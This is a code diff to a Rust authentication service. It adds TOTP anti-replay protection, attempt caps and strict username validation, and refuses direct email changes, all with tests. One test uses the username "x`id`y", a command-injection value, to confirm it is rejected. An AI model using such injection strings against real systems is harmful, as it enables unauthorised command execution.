28 +const MAX_ATTEMPTS_PER_WINDOW: i32 = 15;
29 +const REPLAY_GUARD_TTL_SECS: u64 = 90;
30 +
31 +/// Returns true when the summed challenge attempts reach [`MAX_ATTEMPTS_PER_WINDOW`].
32 +pub(crate) fn totp_window_exceeded(attempts: impl Iterator<Item = i32>) -> bool {
33 + attempts.sum::<i32>() >= MAX_ATTEMPTS_PER_WINDOW
34 +}
35 +
36 +/// Returns the matching TOTP time-step (`unix_time / 30`) if `code` is valid
37 +/// for the current step or skew ±1.
38 +pub(crate) fn matching_totp_step(secret_base32: &str, code: &str) -> Option<u64> {
39 + let secret = Secret::Encoded(secret_base32.to_string());
40 + let totp = TOTP::new(
41 + Algorithm::SHA1,
42 + 6,
43 + 1,
44 + 30,
45 + secret.to_bytes().ok()?,
46 + None,
47 + String::new(),
48 + )
49 + .ok()?;
50 +
51 + // `check` accounts for skew ±1 and compares with constant_time_eq.
52 + // Identify the matching window only after that reject path.
53 + let now = Utc::now().timestamp().max(0) as u64;
54 + if !totp.check(code, now) {
55 + return None;
56 + }
57 + for delta in [-1_i64, 0, 1] {
58 + let Some(step) = (now / 30).checked_add_signed(delta) else {
59 + continue;
60 + };
61 + if totp.generate(step * 30) == code {
62 + return Some(step);
63 + }
64 + }
65 + None
66 +}
67 +
68 +/// Accepts a `(user_id, step)` pair once per 90s in-process window.
69 +///
70 +/// Returns `false` when the same step was already accepted (replay).
71 +pub(crate) fn totp_replay_guard_accept(user_id: Uuid, step: u64) -> bool {
72 + static CACHE: OnceLock<Mutex<HashMap<(Uuid, u64), Instant>>> = OnceLock::new();
73 + let mut cache = CACHE
74 + .get_or_init(|| Mutex::new(HashMap::new()))
75 + .lock()
76 + .unwrap_or_else(|e| e.into_inner());
77 +
78 + let ttl = std::time::Duration::from_secs(REPLAY_GUARD_TTL_SECS);
79 + cache.retain(|_, instant| instant.elapsed() < ttl);
80 +
81 + let key = (user_id, step);
82 + if cache.contains_key(&key) {
83 + return false;
84 + }
85 +
86 + cache.insert(key, Instant::now());
87 + true
88 +}
89 +
90 +/// Finds the first bcrypt-matching backup-code hash index off the async runtime.
91 +///
92 +/// Short-circuits on the first match: the index is not a secret (the attacker
93 +/// already knows the plaintext code they submitted). Join errors become
94 +/// [`AppError::Internal`]. A bcrypt verification failure is a non-match.
95 +async fn find_matching_backup_index(
96 + code: String,
97 + hashed_codes: Vec<String>,
98 +) -> Result<Option<usize>, AppError> {
99 + tokio::task::spawn_blocking(move || {
100 + let mut found = None;
101 + for (i, hashed) in hashed_codes.iter().enumerate() {
102 + if bcrypt::verify(&code, hashed).unwrap_or(false) {
103 + found = Some(i);
104 + break; // allowed: index is not a secret; attacker knows their code
105 + }
106 + }
107 + found
108 + })
109 + .await
110 + .map_err(|e| AppError::Internal(format!("Blocking task failed: {e}")))
111 +}
112 +
113 +/// Verifies a plaintext backup code against a single bcrypt hash off the async runtime.
114 +///
115 +/// Join errors from the blocking thread pool become [`AppError::Internal`].
116 +/// A bcrypt verification failure is treated as a non-match (`false`).
117 +#[cfg(test)]
118 +pub(crate) async fn verify_one_backup(code: String, hashed: String) -> Result<bool, AppError> {
119 + Ok(find_matching_backup_index(code, vec![hashed])
120 + .await?
121 + .is_some())
122 +}
19 123
20 124 /// Response from TOTP setup containing data needed to display QR code
21 125 pub struct TotpSetupResponse {
@@ -93,6 +197,7 @@ impl TotpService {
93 197 backup_codes_encrypted: Set(None),
94 198 backup_codes_remaining: Set(0),
95 199 enabled_at: Set(None),
200 + last_used_step: NotSet,
96 201 created_at: Set(now),
97 202 updated_at: Set(now),
98 203 };
@@ -108,6 +213,11 @@ impl TotpService {
108 213 /// Verify a TOTP code during setup and enable 2FA.
109 214 ///
110 215 /// On success, generates backup codes and returns them as plaintext (one-time display).
216 + ///
217 + /// The matched time-step is consumed via the persistent anti-replay
218 + /// guard (RFC 0037) **before** 2FA is enabled, so the setup code cannot
219 + /// be replayed as an immediate login on any replica. A replayed or
220 + /// invalid code fails with [`AppError::TotpFailed`] (no replay oracle).
111 221 pub async fn verify_and_enable(
112 222 db: &DatabaseConnection,
113 223 user_id: Uuid,
@@ -123,9 +233,16 @@ impl TotpService {
123 233 return Err(AppError::TotpAlreadyEnabled);
124 234 }
125 235
126 - // Decrypt secret and verify code
236 + // Decrypt secret and identify the matching step (RFC 0037: store the
237 + // step that actually matched, never `now / 30`).
127 238 let secret_base32 = CryptoService::decrypt(&record.secret_encrypted)?;
128 - if !Self::verify_totp_code(&secret_base32, code)? {
239 + let Some(step) = matching_totp_step(&secret_base32, code) else {
240 + return Err(AppError::TotpFailed);
241 + };
242 +
243 + // Consume the step before enabling 2FA: the setup code cannot serve
244 + // as an immediate login on another replica (RFC 0037).
245 + if !Self::claim_totp_step(db, user_id, step).await? {
129 246 return Err(AppError::TotpFailed);
130 247 }
131 248
@@ -146,6 +263,13 @@ impl TotpService {
146 263 }
147 264
148 265 /// Verify a TOTP code for an enabled user (login flow).
266 + ///
267 + /// A valid code is accepted **once**: the matched time-step is persisted
268 + /// in `user_totp.last_used_step` through a conditional compare-and-set
269 + /// `UPDATE` (RFC 0037), so a replayed code — on this replica or any
270 + /// other — returns `Ok(false)`, indistinguishable from an invalid code
271 + /// (no replay oracle). Database errors are propagated as [`AppError`];
272 + /// the guard never fails open.
149 273 pub async fn verify_code(
150 274 db: &DatabaseConnection,
151 275 user_id: Uuid,
@@ -159,7 +283,21 @@ impl TotpService {
159 283 .ok_or_else(|| AppError::TotpNotEnabled)?;
160 284
161 285 let secret_base32 = CryptoService::decrypt(&record.secret_encrypted)?;
162 - Self::verify_totp_code(&secret_base32, code)
286 + let Some(step) = matching_totp_step(&secret_base32, code) else {
287 + return Ok(false);
288 + };
289 + // Authoritative cross-replica guard: consume the matched step in DB.
290 + if !Self::claim_totp_step(db, user_id, step).await? {
291 + return Ok(false);
292 + }
293 + // In-process guard kept as defense-in-depth (arbitrated decision,
294 + // RFC 0037): practically unreachable after a won CAS and fails
295 + // closed if it ever disagrees. The DB compare-and-set above remains
296 + // authoritative.
297 + if !totp_replay_guard_accept(user_id, step) {
298 + return Ok(false);
299 + }
300 + Ok(true)
163 301 }
164 302
165 303 /// Verify and consume a backup code.
@@ -187,14 +325,9 @@ impl TotpService {
187 325 let mut hashed_codes: Vec<String> = serde_json::from_str(&codes_json)
188 326 .map_err(|e| AppError::Internal(format!("Failed to parse backup codes: {}", e)))?;
189 327
190 - // Find matching code
191 - let mut found_index = None;
192 - for (i, hashed) in hashed_codes.iter().enumerate() {
193 - if bcrypt::verify(code, hashed).unwrap_or(false) {
194 - found_index = Some(i);
195 - break;
196 - }
197 - }
328 + // bcrypt::verify is CPU-bound; run the scan off the async runtime.
329 + let found_index =
330 + find_matching_backup_index(code.to_string(), hashed_codes.clone()).await?;
198 331
199 332 let Some(index) = found_index else {
200 333 return Ok(false);
@@ -286,16 +419,16 @@ impl TotpService {
286 419 db: &DatabaseConnection,
287 420 user_id: Uuid,
288 421 ) -> Result<String, AppError> {
289 - // Check for too many recent failed challenges (anti-brute-force)
422 + // Summed attempt cap across all challenges in the last 15 minutes (E-3).
290 423 let recent_cutoff = Utc::now() - Duration::minutes(15);
291 - let recent_failed = totp_challenge::Entity::find()
424 + let recent = totp_challenge::Entity::find()
292 425 .filter(totp_challenge::Column::UserId.eq(user_id))
293 426 .filter(totp_challenge::Column::CreatedAt.gte(recent_cutoff))
294 - .filter(totp_challenge::Column::Attempts.gte(MAX_CHALLENGE_ATTEMPTS))
295 427 .all(db)
296 428 .await?;
297 429
298 - if recent_failed.len() >= 3 {
430 + if totp_window_exceeded(recent.iter().map(|c| c.attempts)) {
431 + tracing::warn!(%user_id, "TOTP global attempt cap reached");
299 432 return Err(AppError::TotpMaxAttemptsExceeded);
300 433 }
301 434
@@ -391,23 +524,48 @@ impl TotpService {
391 524
392 525 // --- Internal helpers ---
393 526
527 + /// Atomically consume TOTP time-step `step` for `user_id` (RFC 0037).
528 + ///
529 + /// Runs a conditional `UPDATE` (compare-and-set) that only succeeds when
530 + /// `last_used_step` is `NULL` or **strictly** lower than `step`, so the
531 + /// same step can never be consumed twice — even across replicas.
532 + /// Returns `Ok(true)` iff this caller won the CAS
533 + /// (`rows_affected == 1`). A step that does not fit in `i64` is treated
534 + /// as an invalid code (`Ok(false)`); database errors are propagated
535 + /// (never fail-open).
536 + async fn claim_totp_step(
537 + db: &DatabaseConnection,
538 + user_id: Uuid,
539 + step: u64,
540 + ) -> Result<bool, AppError> {
541 + // Unreachable for realistic clocks (a unix_time / 30 step fits in
542 + // i64 for centuries); treat overflow as an invalid code, no panic.
543 + let Ok(step_i64) = i64::try_from(step) else {
544 + return Ok(false);
545 + };
546 +
547 + let result = user_totp::Entity::update_many()
548 + .col_expr(user_totp::Column::LastUsedStep, Expr::value(step_i64))
549 + .col_expr(user_totp::Column::UpdatedAt, Expr::value(Utc::now()))
550 + .filter(user_totp::Column::UserId.eq(user_id))
551 + .filter(
552 + Condition::any()
553 + .add(user_totp::Column::LastUsedStep.is_null())
554 + .add(user_totp::Column::LastUsedStep.lt(step_i64)),
555 + )
556 + .exec(db)
557 + .await?;
558 +
559 + Ok(result.rows_affected == 1)
560 + }
561 +
394 562 /// Verify a TOTP code against a base32-encoded secret.
563 + ///
564 + /// Test-only shim over [`matching_totp_step`]: production paths need the
565 + /// matched step itself to feed the persistent anti-replay guard.
566 + #[cfg(test)]
395 567 fn verify_totp_code(secret_base32: &str, code: &str) -> Result<bool, AppError> {
396 - let secret = Secret::Encoded(secret_base32.to_string());
397 - let totp = TOTP::new(
398 - Algorithm::SHA1,
399 - 6,
400 - 1,
401 - 30,
402 - secret
403 - .to_bytes()
404 - .map_err(|e| AppError::Internal(format!("Failed to decode TOTP secret: {}", e)))?,
405 - None,
406 - String::new(),
407 - )
408 - .map_err(|e| AppError::Internal(format!("Failed to create TOTP: {}", e)))?;
409 -
410 - Ok(totp.check_current(code).unwrap_or(false))
568 + Ok(matching_totp_step(secret_base32, code).is_some())
411 569 }
412 570
413 571 /// Generate backup codes: returns (plaintext_codes, encrypted_json_of_hashed_codes).
@@ -514,6 +672,64 @@ mod tests {
514 672 }
515 673 }
516 674
675 + #[test]
676 + fn four_challenges_of_four_attempts_are_blocked() {
677 + assert!(totp_window_exceeded([4, 4, 4, 4].into_iter())); // 16
678 + }
679 +
680 + #[test]
681 + fn fourteen_attempts_still_allowed() {
682 + assert!(!totp_window_exceeded([4, 4, 4, 2].into_iter())); // 14
683 + }
684 +
685 + #[test]
686 + fn fifteen_attempts_are_blocked() {
687 + assert!(totp_window_exceeded([4, 4, 4, 3].into_iter())); // 15
688 + }
689 +
690 + #[test]
691 + fn same_step_replay_is_rejected() {
692 + // Dedicated id so parallel tests cannot collide on Uuid::nil().
693 + let uid = Uuid::from_u128(0x0707_051E_01A7_u128);
694 + assert!(totp_replay_guard_accept(uid, 42));
695 + assert!(!totp_replay_guard_accept(uid, 42));
696 + assert!(totp_replay_guard_accept(uid, 43));
697 + }
698 +
699 + #[test]
700 + fn matching_totp_step_accepts_current_and_previous_windows() {
701 + let secret = Secret::generate_secret();
702 + let secret_base32 = secret.to_encoded().to_string();
703 + let totp = TOTP::new(
704 + Algorithm::SHA1,
705 + 6,
706 + 1,
707 + 30,
708 + secret.to_bytes().unwrap(),
709 + None,
710 + String::new(),
711 + )
712 + .unwrap();
713 +
714 + let now = Utc::now().timestamp().max(0) as u64;
715 + let current_step = now / 30;
716 + let current_code = totp.generate(current_step * 30);
717 + assert_eq!(
718 + matching_totp_step(&secret_base32, &current_code),
719 + Some(current_step)
720 + );
721 +
722 + if current_step > 0 && totp.ttl().unwrap_or(0) > 1 {
723 + let previous_code = totp.generate((current_step - 1) * 30);
724 + assert_eq!(
725 + matching_totp_step(&secret_base32, &previous_code),
726 + Some(current_step - 1)
727 + );
728 + }
729 +
730 + assert_eq!(matching_totp_step(&secret_base32, "1"), None);
731 + }
732 +
517 733 /// Asserts each generated backup code is unique.
518 734 ///
519 735 /// Same rationale as `test_generate_backup_codes`: the test reads
@@ -537,4 +753,313 @@ mod tests {
537 753 assert!(unique.insert(code.clone()), "Backup codes should be unique");
538 754 }
539 755 }
756 +
757 + #[tokio::test]
758 + async fn verify_one_backup_matches_known_hash_and_rejects_mismatch() {
759 + let hashed = bcrypt::hash("ABCD2345", 4).expect("hash backup code");
760 +
761 + assert!(
762 + verify_one_backup("ABCD2345".to_string(), hashed.clone())
763 + .await
764 + .expect("spawn_blocking join"),
765 + "matching backup code should verify"
766 + );
767 + assert!(
768 + !verify_one_backup("ZZZZ9999".to_string(), hashed)
769 + .await
770 + .expect("spawn_blocking join"),
771 + "mismatched backup code should not verify"
772 + );
773 + }
774 +
775 + // ── RFC 0037: persistent anti-replay (`last_used_step`) DB tests ───────
776 + //
777 + // These tests require DATABASE_URL (dev PostgreSQL) with the
778 + // `m20260918_000010_totp_last_used_step` migration applied. They only
779 + // delete rows they created themselves.
780 +
781 + use crate::models::user;
782 + use crate::services::user_service::UserService;
783 +
784 + async fn test_db() -> DatabaseConnection {
785 + dotenvy::dotenv().ok();
786 + let url =
787 + std::env::var("DATABASE_URL").expect("DATABASE_URL required for totp_service DB tests");
788 + sea_orm::Database::connect(&url)
789 + .await
790 + .expect("connect test DB")
791 + }
792 +
793 + /// Sets the fixed test encryption key used by every crypto-touching test.
794 + fn set_test_encryption_key() {
795 + // SAFETY: callers are serialised by `#[serial(encryption_key)]`; no
796 + // other test touches ENCRYPTION_KEY while this block runs.
797 + unsafe {
798 + std::env::set_var(
799 + "ENCRYPTION_KEY",
800 + "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef",
801 + );
802 + }
803 + }
804 +
805 + /// Creates a fresh user plus a `user_totp` row and returns the
806 + /// plaintext base32 secret. Rows belong to this test only.
807 + async fn create_totp_user(db: &DatabaseConnection, enabled: bool) -> (user::Model, String) {
808 + let unique = Uuid::new_v4().simple().to_string();
809 + let user = UserService::create_user(
810 + db,
811 + format!("t37-{}", &unique[..12]),
812 + format!("t37-{}@example.com", &unique[..12]),
813 + "not-a-real-hash".to_string(),
814 + false,
815 + )
816 + .await
817 + .expect("create test user");
818 +
819 + let secret = Secret::generate_secret();
820 + let secret_base32 = secret.to_encoded().to_string();
821 + let encrypted = CryptoService::encrypt(&secret_base32).expect("encrypt test secret");
822 + let now = Utc::now();
823 + user_totp::ActiveModel {
824 + id: Set(Uuid::new_v4()),
825 + user_id: Set(user.id),
826 + secret_encrypted: Set(encrypted),
827 + enabled: Set(enabled),
828 + backup_codes_encrypted: Set(None),
829 + backup_codes_remaining: Set(0),
830 + enabled_at: Set(enabled.then_some(now)),
831 + last_used_step: NotSet,
832 + created_at: Set(now),
833 + updated_at: Set(now),
834 + }
835 + .insert(db)
836 + .await
837 + .expect("insert test user_totp row");
838 +
839 + (user, secret_base32)
840 + }
841 +
842 + /// Deletes only the rows created by the calling test (its `user_totp`
843 + /// row, then the user itself).
844 + async fn cleanup_totp_user(db: &DatabaseConnection, user: user::Model) {
845 + if let Some(row) = user_totp::Entity::find()
846 + .filter(user_totp::Column::UserId.eq(user.id))
847 + .one(db)
848 + .await
849 + .expect("load test user_totp row for cleanup")
850 + {
851 + let model: user_totp::ActiveModel = row.into();
852 + model.delete(db).await.expect("delete test user_totp row");
853 + }
854 + let model: user::ActiveModel = user.into();
855 + model.delete(db).await.expect("delete test user");
856 + }
857 +
858 + /// Generates the current 6-digit code for a base32 secret.
859 + fn current_code(secret_base32: &str) -> String {
860 + let secret = Secret::Encoded(secret_base32.to_string());
861 + let totp = TOTP::new(
862 + Algorithm::SHA1,
863 + 6,
864 + 1,
865 + 30,
866 + secret.to_bytes().expect("decode test secret"),
867 + None,
868 + String::new(),
869 + )
870 + .expect("build test TOTP");
871 + totp.generate_current().expect("generate current code")
872 + }
873 +
874 + /// RFC 0037 — error case 1: malformed codes never touch the database.
875 + #[tokio::test]
876 + #[serial_test::serial(encryption_key)]
877 + async fn verify_code_invalid_code_writes_nothing() {
878 + let db = test_db().await;
879 + set_test_encryption_key();
880 + let (user, _secret) = create_totp_user(&db, true).await;
881 +
882 + assert!(
883 + !TotpService::verify_code(&db, user.id, "1")
884 + .await
885 + .expect("verify '1'"),
886 + "'1' must be rejected"
887 + );
888 + assert!(
889 + !TotpService::verify_code(&db, user.id, "12345")
890 + .await
891 + .expect("verify 5 digits"),
892 + "5-digit code must be rejected"
893 + );
894 + let row = TotpService::get_totp_info(&db, user.id)
895 + .await
896 + .expect("reload row")
897 + .expect("row exists");
898 + assert_eq!(
899 + row.last_used_step, None,
900 + "invalid codes must not write last_used_step"
901 + );
902 +
903 + cleanup_totp_user(&db, user).await;
904 + }
905 +
906 + /// RFC 0037 — happy path + error case 2: first code accepted and persisted,
907 + /// same code replayed → `Ok(false)` with `last_used_step` unchanged.
908 + #[tokio::test]
909 + #[serial_test::serial(encryption_key)]
910 + async fn verify_code_persists_matched_step_and_rejects_replay() {
911 + let db = test_db().await;
912 + set_test_encryption_key();
913 + let (user, secret_base32) = create_totp_user(&db, true).await;
914 +
915 + let code = current_code(&secret_base32);
916 + let expected_step =
917 + matching_totp_step(&secret_base32, &code).expect("generated code must match a step");
918 +
919 + assert!(
920 + TotpService::verify_code(&db, user.id, &code)
921 + .await
922 + .expect("first verify"),
923 + "first presentation of a valid code must be accepted"
924 + );
925 + let row = TotpService::get_totp_info(&db, user.id)
926 + .await
927 + .expect("reload row")
928 + .expect("row exists");
929 + assert_eq!(
930 + row.last_used_step,
931 + Some(i64::try_from(expected_step).expect("step fits in i64")),
932 + "the matched step (not now/30) must be persisted"
933 + );
934 +
935 + assert!(
936 + !TotpService::verify_code(&db, user.id, &code)
937 + .await
938 + .expect("replay verify"),
939 + "replaying the same code must be rejected"
940 + );
941 + let row_after = TotpService::get_totp_info(&db, user.id)
942 + .await
943 + .expect("reload row")
944 + .expect("row exists");
945 + assert_eq!(
946 + row_after.last_used_step, row.last_used_step,
947 + "a rejected replay must not change last_used_step"
948 + );
949 +
950 + cleanup_totp_user(&db, user).await;
951 + }
952 +
953 + /// RFC 0037 — concurrency: two concurrent claims of the same
954 + /// `(user, step)` — exactly one wins the CAS. Also covers error case 3:
955 + /// an older step can no longer be claimed afterwards (strict `<`).
956 + #[tokio::test]
957 + #[serial_test::serial(encryption_key)]
958 + async fn concurrent_claims_exactly_one_wins() {
959 + let db = test_db().await;
960 + set_test_encryption_key();
961 + let (user, _secret) = create_totp_user(&db, true).await;
962 +
963 + let step: u64 = 61_234_567;
964 + let (a, b) = tokio::join!(
965 + TotpService::claim_totp_step(&db, user.id, step),
966 + TotpService::claim_totp_step(&db, user.id, step),
967 + );
968 + let (a, b) = (a.expect("claim a"), b.expect("claim b"));
969 + assert!(
970 + a ^ b,
971 + "exactly one concurrent claim must win the CAS (a={a}, b={b})"
972 + );
973 +
974 + // Same step again → replay, strict `<` rejects it.
975 + assert!(
976 + !TotpService::claim_totp_step(&db, user.id, step)
977 + .await
978 + .expect("replay claim"),
979 + "re-claiming the same step must fail"
980 + );
981 + // Older window (error case 3) → rejected too.
982 + assert!(
983 + !TotpService::claim_totp_step(&db, user.id, step - 1)
984 + .await
985 + .expect("older claim"),
986 + "claiming an older step must fail"
987 + );
988 + // Newer window still passes.
989 + assert!(
990 + TotpService::claim_totp_step(&db, user.id, step + 1)
991 + .await
992 + .expect("newer claim"),
993 + "claiming a strictly newer step must succeed"
994 + );
995 +
996 + cleanup_totp_user(&db, user).await;
997 + }
998 +
999 + /// RFC 0037 — `verify_and_enable` consumes the matched step, so the
1000 + /// setup code cannot be replayed as an immediate login.
1001 + #[tokio::test]
1002 + #[serial_test::serial(encryption_key)]
1003 + async fn verify_and_enable_consumes_step_blocking_login_replay() {
1004 + let db = test_db().await;
1005 + set_test_encryption_key();
1006 +
1007 + let unique = Uuid::new_v4().simple().to_string();
1008 + let username = format!("t37e-{}", &unique[..12]);
1009 + let user = UserService::create_user(
1010 + &db,
1011 + username.clone(),
1012 + format!("{username}@example.com"),
1013 + "not-a-real-hash".to_string(),
1014 + false,
1015 + )
1016 + .await
1017 + .expect("create test user");
1018 +
1019 + let setup = TotpService::setup_totp(&db, user.id, &username, "rustwarden-test")
1020 + .await
1021 + .expect("setup TOTP");
1022 + let code = current_code(&setup.secret_base32);
1023 +
1024 + let backup_codes = TotpService::verify_and_enable(&db, user.id, &code)
1025 + .await
1026 + .expect("verify_and_enable with a valid code");
1027 + assert_eq!(backup_codes.len(), BACKUP_CODE_COUNT);
1028 +
1029 + let row = TotpService::get_totp_info(&db, user.id)
1030 + .await
1031 + .expect("reload row")
1032 + .expect("row exists");
1033 + assert!(row.enabled, "2FA must be enabled");
1034 + assert!(
1035 + row.last_used_step.is_some(),
1036 + "verify_and_enable must persist the consumed step"
1037 + );
1038 +
1039 + assert!(
1040 + !TotpService::verify_code(&db, user.id, &code)
1041 + .await
1042 + .expect("immediate login replay"),
1043 + "the setup code must not be reusable as an immediate login"
1044 + );
1045 +
1046 + cleanup_totp_user(&db, user).await;
1047 + }
1048 +
1049 + /// RFC 0037 — error case 4: a `DbErr` from the conditional `UPDATE` is
1050 + /// propagated as `Err(_)` — never a fail-open `Ok(true)`.
1051 + #[tokio::test]
1052 + async fn claim_totp_step_propagates_db_error_never_fails_open() {
1053 + use sea_orm::{DatabaseBackend, DbErr, MockDatabase};
1054 +
1055 + let db = MockDatabase::new(DatabaseBackend::Postgres)
1056 + .append_exec_errors([DbErr::Custom("injected UPDATE failure".to_string())])
1057 + .into_connection();
1058 +
1059 + let result = TotpService::claim_totp_step(&db, Uuid::new_v4(), 42).await;
1060 + assert!(
1061 + result.is_err(),
1062 + "a DbErr from the CAS UPDATE must propagate, not fail open: {result:?}"
1063 + );
1064 + }
540 1065 }
M crates/rustwarden-core/src/services/user_service.rs
+630 -34
@@ -16,20 +16,60 @@ use uuid::Uuid;
16 16 pub struct UserService;
17 17
18 18 impl UserService {
19 - /// Create a new user with the given details
19 + /// Create a new user with the given details.
20 + ///
21 + /// Enforces [`crate::types::Username::parse`] (strict): charset
22 + /// `[a-z0-9-]`, length 3–39, no consecutive `--`, no leading/trailing `-`,
23 + /// and reserved names rejected. This is the single validation gate for
24 + /// every caller.
25 + ///
26 + /// For the bootstrap path where `"admin"` (a reserved name) must be
27 + /// accepted, use the crate-private `create_user_allow_reserved`.
20 28 ///
21 29 /// # Arguments
22 30 ///
23 31 /// * `db` - Database connection
24 - /// * `username` - Username (must be unique)
32 + /// * `username` - Desired username; validated by [`crate::types::Username::parse`]
25 33 /// * `email` - Email address (must be unique)
26 34 /// * `password_hash` - Pre-hashed password (use bcrypt)
27 35 /// * `must_change_password` - Whether user must change password on next login
36 + pub async fn create_user(
37 + db: &DatabaseConnection,
38 + username: String,
39 + email: String,
40 + password_hash: String,
41 + must_change_password: bool,
42 + ) -> Result<user::Model, AppError> {
43 + let username = crate::types::Username::parse(&username)?.into_inner();
44 + Self::do_insert_user(db, username, email, password_hash, must_change_password).await
45 + }
46 +
47 + /// Bootstrap-only path: create a user whose username may be reserved.
28 48 ///
29 - /// # Returns
49 + /// Identical to [`UserService::create_user`] except it calls
50 + /// [`Username::parse_allow_reserved`], so names such as `"admin"` are
51 + /// accepted. All charset and length rules still apply.
30 52 ///
31 - /// The created user model
32 - pub async fn create_user(
53 + /// **Only `ensure_default_admin` should call this function.** Every
54 + /// other caller must use [`UserService::create_user`] which enforces
55 + /// the full reserved-name policy.
56 + pub(crate) async fn create_user_allow_reserved(
57 + db: &DatabaseConnection,
58 + username: String,
59 + email: String,
60 + password_hash: String,
61 + must_change_password: bool,
62 + ) -> Result<user::Model, AppError> {
63 + let username = crate::types::Username::parse_allow_reserved(&username)?.into_inner();
64 + Self::do_insert_user(db, username, email, password_hash, must_change_password).await
65 + }
66 +
67 + /// Internal DB insert shared by [`create_user`] and
68 + /// [`create_user_allow_reserved`].
69 + ///
70 + /// The caller is responsible for pre-validating `username` via the
71 + /// appropriate `Username::parse*` variant before calling this.
72 + async fn do_insert_user(
33 73 db: &DatabaseConnection,
34 74 username: String,
35 75 email: String,
@@ -154,6 +194,34 @@ impl UserService {
154 194 /// Update user profile
155 195 ///
156 196 /// Allows updating username and/or email with validation for uniqueness.
197 + ///
198 + /// # Email changes are refused here (RFC 0041)
199 + ///
200 + /// This method **never** writes `users.email`. Passing an address that
201 + /// differs from the stored one (exact comparison after trim) returns
202 + /// [`AppError::Validation`] with a message pointing at
203 + /// [`EmailChangeService`](crate::services::email_change_service::EmailChangeService):
204 + /// the address is only written once the change is confirmed from the link
205 + /// mailed to it, so a typo can no longer lock an account out.
206 + ///
207 + /// Echoing the **current** address stays a no-op — profile forms submit
208 + /// every field — and a username-only rename is unaffected.
209 + ///
210 + /// The operator recourse is
211 + /// [`EmailChangeService::admin_force_change`](crate::services::email_change_service::EmailChangeService::admin_force_change);
212 + /// there is no dérogation branch hidden in this method.
213 + ///
214 + /// ```rust,ignore
215 + /// use rustwarden_core::services::user_service::UserService;
216 + ///
217 + /// // A username-only rename is unaffected.
218 + /// let user = UserService::update_profile(&db, user_id, Some("newname".into()), None).await?;
219 + ///
220 + /// // Changing the email is refused: use EmailChangeService::request_change.
221 + /// let err = UserService::update_profile(&db, user_id, None, Some("new@example.com".into()))
222 + /// .await
223 + /// .unwrap_err();
224 + /// ```
157 225 pub async fn update_profile(
158 226 db: &DatabaseConnection,
159 227 user_id: Uuid,
@@ -168,41 +236,42 @@ impl UserService {
168 236 let mut changes = false;
169 237
170 238 if let Some(new_username) = &username {
171 - if new_username.is_empty() || new_username.len() < 3 {
172 - return Err(AppError::Validation(
173 - "Username must be at least 3 characters long".to_string(),
174 - ));
175 - }
176 -
177 - if let Some(existing_user) = Self::get_user_by_username(db, new_username).await? {
178 - if existing_user.id != user_id {
179 - return Err(AppError::Validation(format!(
180 - "Username '{}' already exists",
181 - new_username
182 - )));
239 + let trimmed = new_username.trim();
240 + // Only enforce charset + reserved on an actual rename.
241 + // If the client echoes back the current username (including
242 + // grandfathered out-of-charset handles), treat it as a no-op.
243 + if trimmed != user.username.as_str() {
244 + let parsed = crate::types::Username::parse(trimmed)?;
245 + if let Some(existing_user) = Self::get_user_by_username(db, parsed.as_str()).await?
246 + {
247 + if existing_user.id != user_id {
248 + return Err(AppError::Validation(format!(
249 + "Username '{}' already exists",
250 + parsed.as_str()
251 + )));
252 + }
183 253 }
254 + updated_user.username = Set(parsed.into_inner());
255 + changes = true;
184 256 }
185 -
186 - updated_user.username = Set(new_username.clone());
187 - changes = true;
257 + // Same username: no-op — grandfathering preserved.
188 258 }
189 259
260 + // RFC 0041: `update_profile` never writes `users.email`.
190 261 if let Some(new_email) = &email {
191 - if !new_email.contains('@') || !new_email.contains('.') {
192 - return Err(AppError::Validation("Invalid email format".to_string()));
193 - }
194 -
195 - if let Some(existing_user) = Self::get_user_by_email(db, new_email).await? {
196 - if existing_user.id != user_id {
197 - return Err(AppError::Validation(format!(
198 - "Email '{}' already exists",
199 - new_email
200 - )));
201 - }
262 + let trimmed = new_email.trim();
263 + // Echoing the current address stays a no-op: profile forms submit
264 + // every field, so an unchanged value must not be treated as a
265 + // change request.
266 + if trimmed != user.email.as_str() {
267 + return Err(AppError::Validation(
268 + "Email changes are not handled by update_profile; call \
269 + EmailChangeService::request_change (POST /api/v1/auth/email-change) \
270 + — the address is only written once the change is confirmed from \
271 + the link mailed to it."
272 + .to_string(),
273 + ));
202 274 }
203 -
204 - updated_user.email = Set(new_email.clone());
205 - changes = true;
206 275 }
207 276
208 277 if !changes {
@@ -479,3 +548,530 @@ impl UserService {
479 548 Ok(())
480 549 }
481 550 }
551 +
552 +#[cfg(test)]
553 +mod tests {
554 + use super::*; // UserService, AppError, Uuid, Utc, user, Set/NotSet, ModelTrait, …
555 + use crate::models::email_queue;
556 +
557 + async fn test_db() -> DatabaseConnection {
558 + dotenvy::dotenv().ok();
559 + let url =
560 + std::env::var("DATABASE_URL").expect("DATABASE_URL required for user_service tests");
561 + sea_orm::Database::connect(&url).await.unwrap()
562 + }
563 +
564 + async fn dummy_hash() -> String {
565 + PasswordService::hash_password("TestPassword1!")
566 + .await
567 + .unwrap()
568 + }
569 +
570 + // ── create_user: invalid charset ────────────────────────────────────────
571 +
572 + /// `create_user` must reject the username before any INSERT.
573 + #[tokio::test]
574 + async fn create_user_invalid_charset_returns_validation_error() {
575 + let db = test_db().await;
576 + let result = UserService::create_user(
577 + &db,
578 + "x`id`y".to_string(),
579 + "backtick-test@example.com".to_string(),
580 + "irrelevant-hash".to_string(),
581 + false,
582 + )
583 + .await;
584 + assert!(
585 + matches!(result, Err(AppError::Validation(_))),
586 + "backtick username must be rejected before any DB insert"
587 + );
588 + let loaded = UserService::get_user_by_username(&db, "x`id`y")
589 + .await
590 + .unwrap();
591 + assert!(
592 + loaded.is_none(),
593 + "no row should exist after a rejected create_user"
594 + );
595 + }
596 +
597 + // ── create_user: happy path ──────────────────────────────────────────────
598 +
599 + #[tokio::test]
600 + async fn create_user_valid_username_succeeds() {
601 + let db = test_db().await;
602 + let unique = Uuid::new_v4().simple().to_string();
603 + let username = format!("alice-{}", &unique[..8]);
604 + let result = UserService::create_user(
605 + &db,
606 + username.clone(),
607 + format!("alice-{}@example.com", &unique[..8]),
608 + dummy_hash().await,
609 + false,
610 + )
611 + .await;
612 + assert!(
613 + result.is_ok(),
614 + "valid username must succeed: {:?}",
615 + result.err()
616 + );
617 + let created = result.unwrap();
618 + assert_eq!(created.username, username);
619 + // Non-regression (RFC 0038): new accounts always start unverified.
620 + assert!(
621 + !created.email_verified,
622 + "create_user must set email_verified=false"
623 + );
624 + assert!(
625 + created.email_verified_at.is_none(),
626 + "create_user must leave email_verified_at unset"
627 + );
628 + }
